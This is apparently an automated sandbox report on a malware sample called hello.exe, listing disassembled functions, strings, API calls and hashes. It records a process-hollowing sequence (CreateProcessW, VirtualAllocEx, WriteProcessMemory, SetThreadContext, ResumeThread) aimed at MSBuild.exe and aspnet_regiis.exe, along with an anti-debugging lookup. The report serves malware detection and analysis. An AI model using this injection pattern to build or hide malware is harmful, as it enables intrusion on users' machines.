DEi, xrefs: 0639E353
DEi, xrefs: 0639E798
DEi, xrefs: 0639E5E3
DEi, xrefs: 0639E86F
DEi, xrefs: 0639E431
DEi, xrefs: 0639E3C2
DEi, xrefs: 0639E7C3
DEi, xrefs: 0639E40C
DEi, xrefs: 0639E844
DEi, xrefs: 0639E4F3
DEi, xrefs: 0639E748

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-2751544354
Opcode ID: 2f9763cf2db6e03f535e8108446c4cbf76db987eca1ad4df8436f6754be0cbe2
Instruction ID: b0315aefef34c7ca9b600ccaa761a72a5249a4fda25a8a6d69770cd973420adc
Opcode Fuzzy Hash: 2f9763cf2db6e03f535e8108446c4cbf76db987eca1ad4df8436f6754be0cbe2
Instruction Fuzzy Hash: AED1A030300A106BC205BAF4ED91E7EB59BBBC5704B84853CC2164FB99EF756C1A97DA

Function 0639CC7F Relevance: 16.4, Strings: 13, Instructions: 150COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639CDC4
DEi, xrefs: 0639CD7A
DEi, xrefs: 0639CD0B
DEi, xrefs: 0639CD30
DEi, xrefs: 0639CC9C
DEi, xrefs: 0639CD9F
DEi, xrefs: 0639CDE9
DEi, xrefs: 0639CD55
DEi, xrefs: 0639CE58
DEi, xrefs: 0639CE0E
DEi, xrefs: 0639CCE6
DEi, xrefs: 0639CCC1
DEi, xrefs: 0639CE33

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-2785432864
Opcode ID: c2d3c0881097043a514a1d6b2e71da821061acc1256173e77a26cf8cbb57a46c
Instruction ID: cdaa94bf598152a86e6cc55b04d415936ac3b0dfeadef9661a58fb9a2baa7be2
Opcode Fuzzy Hash: c2d3c0881097043a514a1d6b2e71da821061acc1256173e77a26cf8cbb57a46c
Instruction Fuzzy Hash: 8541C630300A106BC305BAB4D991E3E765BFF85704B44453CD21A8FA99EF796D1987DA

Function 0639CC90 Relevance: 16.4, Strings: 13, Instructions: 143COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639CDC4
DEi, xrefs: 0639CD7A
DEi, xrefs: 0639CD0B
DEi, xrefs: 0639CD30
DEi, xrefs: 0639CC9C
DEi, xrefs: 0639CD9F
DEi, xrefs: 0639CDE9
DEi, xrefs: 0639CD55
DEi, xrefs: 0639CE58
DEi, xrefs: 0639CE0E
DEi, xrefs: 0639CCE6
DEi, xrefs: 0639CCC1
DEi, xrefs: 0639CE33

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-2785432864
Opcode ID: 2884b879b59fa22bb4113ceb883d40a2058f0697e8b4616f60b484598c2e7a7a
Instruction ID: 79d35bb96977545d7f1ff7c758a22efa74aa1aad1533a635bb2753388eae5166
Opcode Fuzzy Hash: 2884b879b59fa22bb4113ceb883d40a2058f0697e8b4616f60b484598c2e7a7a
Instruction Fuzzy Hash: 8A41C530300A103BD205BAB4E991E3E765BFBC5704B44853CD21A4FE99EF796D1987DA

Function 0639CED1 Relevance: 10.1, Strings: 8, Instructions: 103COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639CFA5
DEi, xrefs: 0639CFEF
DEi, xrefs: 0639CEEC
DEi, xrefs: 0639CF5B
DEi, xrefs: 0639CF80
DEi, xrefs: 0639CFCA
DEi, xrefs: 0639CF11
DEi, xrefs: 0639CF36

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-1372143854
Opcode ID: 2a9974970948f114bd7ff35132bf3b04b618b6f98320f82feea4767d452d0585
Instruction ID: 678a98ed2bb31b8ccac8c6829a5816cfc908deadd3bbc5eddbb34014adbf305e
Opcode Fuzzy Hash: 2a9974970948f114bd7ff35132bf3b04b618b6f98320f82feea4767d452d0585
Instruction Fuzzy Hash: 8D31C5303006112BC306BEB4D891E3EBA9AFF85704F44453CD2198FA99EF756C1987DA

Function 0639CEE0 Relevance: 10.1, Strings: 8, Instructions: 93COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639CFA5
DEi, xrefs: 0639CFEF
DEi, xrefs: 0639CEEC
DEi, xrefs: 0639CF5B
DEi, xrefs: 0639CF80
DEi, xrefs: 0639CFCA
DEi, xrefs: 0639CF11
DEi, xrefs: 0639CF36

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-1372143854
Opcode ID: d637189e92a8b8fd9959370dfd8d3be30680f90a52b489fb876e7073a87863d8
Instruction ID: cbcc9f19af58e85dd6340e6d9b8ccef79d97a868e29639e5477295ad51891f8d
Opcode Fuzzy Hash: d637189e92a8b8fd9959370dfd8d3be30680f90a52b489fb876e7073a87863d8
Instruction Fuzzy Hash: 0321E230300A112BC705BAB4E991E3EB65BFBC4704F40853CD21A4FA98EF756C1987DA

Function 0639C968 Relevance: 8.8, Strings: 7, Instructions: 88COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639CA7A
DEi, xrefs: 0639C984
DEi, xrefs: 0639C9FF
DEi, xrefs: 0639C9AD
DEi, xrefs: 0639C9D6
DEi, xrefs: 0639CA51
DEi, xrefs: 0639CA28

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-134606050
Opcode ID: afae1064b83fc96371d9c4d1a4cab2dd31a8fe379acd31a5a8b4089fb121994b
Instruction ID: 63e878436a39f1c5e9350c0b7806c03bcfbbc8a3c33878cb1ab1318e741ac4cd
Opcode Fuzzy Hash: afae1064b83fc96371d9c4d1a4cab2dd31a8fe379acd31a5a8b4089fb121994b
Instruction Fuzzy Hash: FD31D130300A826BCB053BF4E941C6D7B66FB86700744413DE1168FAA8DE749D5BCB86

Function 0639C978 Relevance: 8.8, Strings: 7, Instructions: 83COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639CA7A
DEi, xrefs: 0639C984
DEi, xrefs: 0639C9FF
DEi, xrefs: 0639C9AD
DEi, xrefs: 0639C9D6
DEi, xrefs: 0639CA51
DEi, xrefs: 0639CA28

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-134606050
Opcode ID: 1b5adf25678724f00b4a338e0f1aefa93ee2b36bf7bbcc23a8e45748c7e4cc40
Instruction ID: 7942b61b38288fe22db7de38d4f0b1317dc32dad8ffe94fbc68f35b1eaff81e6
Opcode Fuzzy Hash: 1b5adf25678724f00b4a338e0f1aefa93ee2b36bf7bbcc23a8e45748c7e4cc40
Instruction Fuzzy Hash: 70218030700942BBCB053BF4E985C6E7B6BFB85700B444538E1168FAA8DE759D5B8B86

Function 0639D538 Relevance: 7.6, Strings: 6, Instructions: 81COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639D5C3
DEi, xrefs: 0639D5E8
DEi, xrefs: 0639D579
DEi, xrefs: 0639D60D
DEi, xrefs: 0639D554
DEi, xrefs: 0639D59E

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-1802374484
Opcode ID: 2bfd4a5e301cc6753cc03217e69e78ae4e620fbc2c75deca9b32528603188396
Instruction ID: fe0464607ecb0a59c3145f3019aade0d8044bf749dde88a0a99ae1a1d546152c
Opcode Fuzzy Hash: 2bfd4a5e301cc6753cc03217e69e78ae4e620fbc2c75deca9b32528603188396
Instruction Fuzzy Hash: F721C730704A103BC3067BB4D991E2EBA9BEB85704F40853CD1158FA99EF756C1A87D6

Function 0639D548 Relevance: 7.6, Strings: 6, Instructions: 73COMMON

Download Yara Rule

Strings

DEi, xrefs: 0639D5C3
DEi, xrefs: 0639D5E8
DEi, xrefs: 0639D579
DEi, xrefs: 0639D60D
DEi, xrefs: 0639D554
DEi, xrefs: 0639D59E

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: DEi$DEi$DEi$DEi$DEi$DEi
API String ID: 0-1802374484
Opcode ID: fb7f4cbc2d7bc00feb97ceba15db4acbd70376db8949f42275d01a4e446df568
Instruction ID: b1059a166e922dee1b513807b9764f82c5be0d5fbfbc50adef57c75488b45bf4
Opcode Fuzzy Hash: fb7f4cbc2d7bc00feb97ceba15db4acbd70376db8949f42275d01a4e446df568
Instruction Fuzzy Hash: 2911C630704A103BC2057AB5E991E3EB65BEBC5708F40863CD2164FA98EF766D1987DA

Function 0639ED10 Relevance: 5.2, Strings: 4, Instructions: 241COMMON

Download Yara Rule

Strings

(_]q, xrefs: 0639EEFA
(_]q, xrefs: 0639ED7A
(_]q, xrefs: 0639EDF9
(_]q, xrefs: 0639EF79

Memory Dump Source

Source File: 0000000B.00000002.2246707349.0000000006390000.00000040.00000800.00020000.00000000.sdmp, Offset: 06390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6390000_VP2pdCInvS.jbxd

Similarity

API ID:
String ID: (_]q$(_]q$(_]q$(_]q
API String ID: 0-2651352888
Opcode ID: 26fd2afe4b5673b62eb6028a9f909c7d7a50f3a309f5ec25753c89c796bb1b35
Instruction ID: ab17bf7ed9631c4aaa27de6e6f78cb7b53c6e6de742204a295548c4bac418d92
Opcode Fuzzy Hash: 26fd2afe4b5673b62eb6028a9f909c7d7a50f3a309f5ec25753c89c796bb1b35
Instruction Fuzzy Hash: 48919B35A042049FCB45EF78C4645AE7BB2EFC9310F2485AAD906DB385DA359E06CBE1

Analysis Process: hello.exePID: 7396, Parent PID: 6360COMMON

Executed Functions

Function 6C386FC0 Relevance: 75.8, APIs: 17, Strings: 22, Instructions: 7555injectionmemorythreadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 6C389540
ShowWindow.USER32 ref: 6C389556
CreateProcessW.KERNELBASE ref: 6C38D1BA
VirtualAlloc.KERNELBASE ref: 6C38D26B
Wow64GetThreadContext.KERNEL32 ref: 6C38D2C5
VirtualAllocEx.KERNELBASE ref: 6C38D35A
VirtualAllocEx.KERNEL32 ref: 6C38D49E
WriteProcessMemory.KERNELBASE ref: 6C38D5D0
WriteProcessMemory.KERNELBASE ref: 6C38D906
ReadProcessMemory.KERNEL32 ref: 6C38E256
WriteProcessMemory.KERNEL32 ref: 6C38E2D5
WriteProcessMemory.KERNELBASE ref: 6C38E58F
Wow64SetThreadContext.KERNEL32 ref: 6C38E5FA
ResumeThread.KERNELBASE ref: 6C38E60F
CloseHandle.KERNEL32 ref: 6C38E6EA
CloseHandle.KERNEL32 ref: 6C38E6FE
CreateProcessW.KERNEL32 ref: 6C38EED0

Strings

8taD, xrefs: 6C38B26C
dL, xrefs: 6C38E7C4
OuAi, xrefs: 6C38A6B3
e]u!, xrefs: 6C389FCF
Nomo, xrefs: 6C38C4BB
ntdll.dll, xrefs: 6C389570
_ggk, xrefs: 6C38E42E
D, xrefs: 6C38CECD
`4+, xrefs: 6C38C9E7
9"K8, xrefs: 6C38BD9D
V./8, xrefs: 6C38AA78
OizW, xrefs: 6C38ADDA
/|, xrefs: 6C38AEF1
n,Ra, xrefs: 6C38D2CD
@, xrefs: 6C38D496
kernel32.dll, xrefs: 6C38955C
u\L, xrefs: 6C386FE0
`4+, xrefs: 6C38CA5D
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe, xrefs: 6C38CF95, 6C38EE4E
_ggk, xrefs: 6C38E4BE
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 6C38CF00
cTc_, xrefs: 6C38BEB9

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: Process$Memory$Write$AllocThreadVirtual$CloseContextCreateHandleWindowWow64$ConsoleReadResumeShow
String ID: /|$8taD$9"K8$@$C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe$D$Nomo$OizW$OuAi$V./8$_ggk$_ggk$`4+$`4+$cTc_$e]u!$kernel32.dll$n,Ra$ntdll.dll$dL$u\L
API String ID: 2214060374-1281667046
Opcode ID: b4ee67da5a6b46e54a66b4c4ad2117a6b8bb983c5356fddb85d91d9302f7500b
Instruction ID: 3bf8784c3aca521b93a6435f4f22f5016c80e7c43e6f928ce9f6fc8be037349e
Opcode Fuzzy Hash: b4ee67da5a6b46e54a66b4c4ad2117a6b8bb983c5356fddb85d91d9302f7500b
Instruction Fuzzy Hash: 26D32872A46219CFCF18CE2CC9813C977F6EB4A318F108299D515E7B94D7369E848F92

Function 6C381300 Relevance: 32.8, APIs: 16, Strings: 2, Instructions: 1310
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32 ref: 6C381B98
CreateFileA.KERNELBASE ref: 6C381BDC
CreateFileMappingA.KERNEL32 ref: 6C381C98
CloseHandle.KERNEL32 ref: 6C381D81
MapViewOfFile.KERNELBASE ref: 6C381DD2
VirtualProtect.KERNELBASE ref: 6C382330
VirtualProtect.KERNELBASE ref: 6C3823CB
FindCloseChangeNotification.KERNELBASE ref: 6C3824D3
CloseHandle.KERNEL32 ref: 6C3824F3
CloseHandle.KERNEL32 ref: 6C382507
CreateFileMappingA.KERNEL32 ref: 6C382590
VirtualProtect.KERNEL32 ref: 6C382689
VirtualProtect.KERNEL32 ref: 6C38272C

Strings

@, xrefs: 6C38267D
.text, xrefs: 6C3821DC, 6C382633

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: File$CloseProtectVirtual$CreateHandle$Mapping$ChangeFindModuleNameNotificationView
String ID: .text$@
API String ID: 2948071595-3116941980
Opcode ID: 24ec83de3ef5628a10ff2daf628fb7007caadbc16c2037ad8858af3c4e23d9d5
Instruction ID: 3bd0344389e10115c87f4682a220b7a8be43f635d8209cb4ae07bbe79fddc951
Opcode Fuzzy Hash: 24ec83de3ef5628a10ff2daf628fb7007caadbc16c2037ad8858af3c4e23d9d5
Instruction Fuzzy Hash: 88B29775A052088FCB04CF6CC9987CDBBF5EB4A314F108199E899EB754D7369A89CF12

Function 6C386970 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 314
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 6C386AE3

Strings

~RN7, xrefs: 6C386B81
NtQueryInformationProcess, xrefs: 6C386AEB
o, xrefs: 6C386DC0
o, xrefs: 6C386D13
7rk\, xrefs: 6C386D7E
ntdll.dll, xrefs: 6C386AD7

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID: o$o$7rk\$NtQueryInformationProcess$ntdll.dll$~RN7
API String ID: 4139908857-2936130007
Opcode ID: 7a24debb61682cd940fbc37ff111241c80aee258a5e2962a4990f2c40c94e53b
Instruction ID: 2d3a1d11b95cb375ef4e327b604349108a74e4c52ecba874fd6eaef1b8adaca1
Opcode Fuzzy Hash: 7a24debb61682cd940fbc37ff111241c80aee258a5e2962a4990f2c40c94e53b
Instruction Fuzzy Hash: EDB1BEB1A662089FCB04DFACD585BDD7BF5EB4A318F108619E811EBB40C73A98098F51

Function 6C38FAF8 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6C38FB3F
___scrt_uninitialize_crt.LIBCMT ref: 6C38FB59

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 3a43725cec723d4aebceeab9d1825e8b01707c0aed9c60df87b94ee3d3ea1e4f
Instruction ID: cd09745716cc419951cfe340db43b3f5d1c5a16a84af5be61ef514c4d985f8d5
Opcode Fuzzy Hash: 3a43725cec723d4aebceeab9d1825e8b01707c0aed9c60df87b94ee3d3ea1e4f
Instruction Fuzzy Hash: 7A41F672E02618EBDB11AF69CC40BDE3B78EF4DBA8F114116EC5467B50D7318A058FA1

Function 6C38FBA8 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6C38FBE5
dllmain_crt_dispatch.LIBCMT ref: 6C38FBFC
dllmain_raw.LIBCMT ref: 6C38FC44
dllmain_crt_dispatch.LIBCMT ref: 6C38FC57
dllmain_raw.LIBCMT ref: 6C38FC6A

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 0b2b32a28587f08adba2d65b66fd08552e5f1dc7c672453ecb0b0707a22fb36e
Instruction ID: eb3e4f20f4f557484b1c8b7b00479e33dbe0b7d0ad0d6395784716b82092d069
Opcode Fuzzy Hash: 0b2b32a28587f08adba2d65b66fd08552e5f1dc7c672453ecb0b0707a22fb36e
Instruction Fuzzy Hash: 4F21A372E43619ABDB216F55CD40AAF3A78EF88BD8F114115FC1857A10C7328E018FE0

Function 6C38F9F1 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6C38FA3E

Part of subcall function 6C38FEBB: InitializeSListHead.KERNEL32(6C3CC020,6C38FA48,6C3A1650,00000010,6C38F9D9,?,?,?,6C38FC01,?,00000001,?,?,00000001,?,6C3A1698), ref: 6C38FEC0

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6C38FAA8

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 6def85d78277a20fee2f3e4af6cd800cc1d5eb08e7e041f2a86bffb063e3d11a
Instruction ID: ccbdd947eac667958c0078290224bf5eb1afe8f65885b39fdd707f2c3ea91585
Opcode Fuzzy Hash: 6def85d78277a20fee2f3e4af6cd800cc1d5eb08e7e041f2a86bffb063e3d11a
Instruction Fuzzy Hash: 9621C332646285AADB00BBBC94407DD37709F0E3BCF244456D8D527F81EB6E5148CEA6

Function 6C3965E7 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6C396633
GetFileType.KERNELBASE(00000000), ref: 6C396645

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 3e5bc4e2b1e1692a352090364ce6a1bcdf3ee64d7976074093093aad93d13f1f
Instruction ID: f671dc6123442aef6fed36da7522414ce92981b2f9b8b14470efc35851ab5e91
Opcode Fuzzy Hash: 3e5bc4e2b1e1692a352090364ce6a1bcdf3ee64d7976074093093aad93d13f1f
Instruction Fuzzy Hash: 25112931206B41C6CB604E3E9C84613BAB8A797338B35071ED1B6C39F1E235D5828ED4

Function 01664E9C Relevance: 1.6, APIs: 1, Instructions: 56
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00000000), ref: 01666550

Memory Dump Source

Source File: 00000012.00000002.2674040094.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1660000_hello.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5696a23d272b2a01c1d8d5e12be513ea987b3d4812f08d4c160695be663c255d
Instruction ID: 33e1263f326e08a8fc5d58030f4ce881d453ad4749b04c52bd023b6f4828b9f2
Opcode Fuzzy Hash: 5696a23d272b2a01c1d8d5e12be513ea987b3d4812f08d4c160695be663c255d
Instruction Fuzzy Hash: 312133B1C006199BCB10DF9AD845B9EFBF8FB48710F10812AD919A7340D778AA40CFE5

Function 016664D8 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00000000), ref: 01666550

Memory Dump Source

Source File: 00000012.00000002.2674040094.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1660000_hello.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c8c7bd1f33a1f95317755dd7b7e7aa9a9cba06834a2af1cca10cbd269516cef
Instruction ID: 80763c95dff3174ab2ed7363360273550d512cd041fdebf0d33df700e3c5650c
Opcode Fuzzy Hash: 8c8c7bd1f33a1f95317755dd7b7e7aa9a9cba06834a2af1cca10cbd269516cef
Instruction Fuzzy Hash: 481142B5C006598BCB14CFAAD94579EFBF8BF48310F10812AD819B3344D778AA40CFA0

Function 01665DBC Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 016668CF

Memory Dump Source

Source File: 00000012.00000002.2674040094.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1660000_hello.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2dcbf603f7072bf4d2049cd8f49141637e16baff2a09badc2017467aa64a95ae
Instruction ID: 3d5e9d6272f1cea3201c31c6ac09cee8f7365b39aa94292a0ac61c682b82ea59
Opcode Fuzzy Hash: 2dcbf603f7072bf4d2049cd8f49141637e16baff2a09badc2017467aa64a95ae
Instruction Fuzzy Hash: F01116B18006498FCB20DFAAD4457AEBBF8EF48320F118469D518A7341D779A944CBA5

Function 01666868 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(00000000), ref: 016668CF

Memory Dump Source

Source File: 00000012.00000002.2674040094.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1660000_hello.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
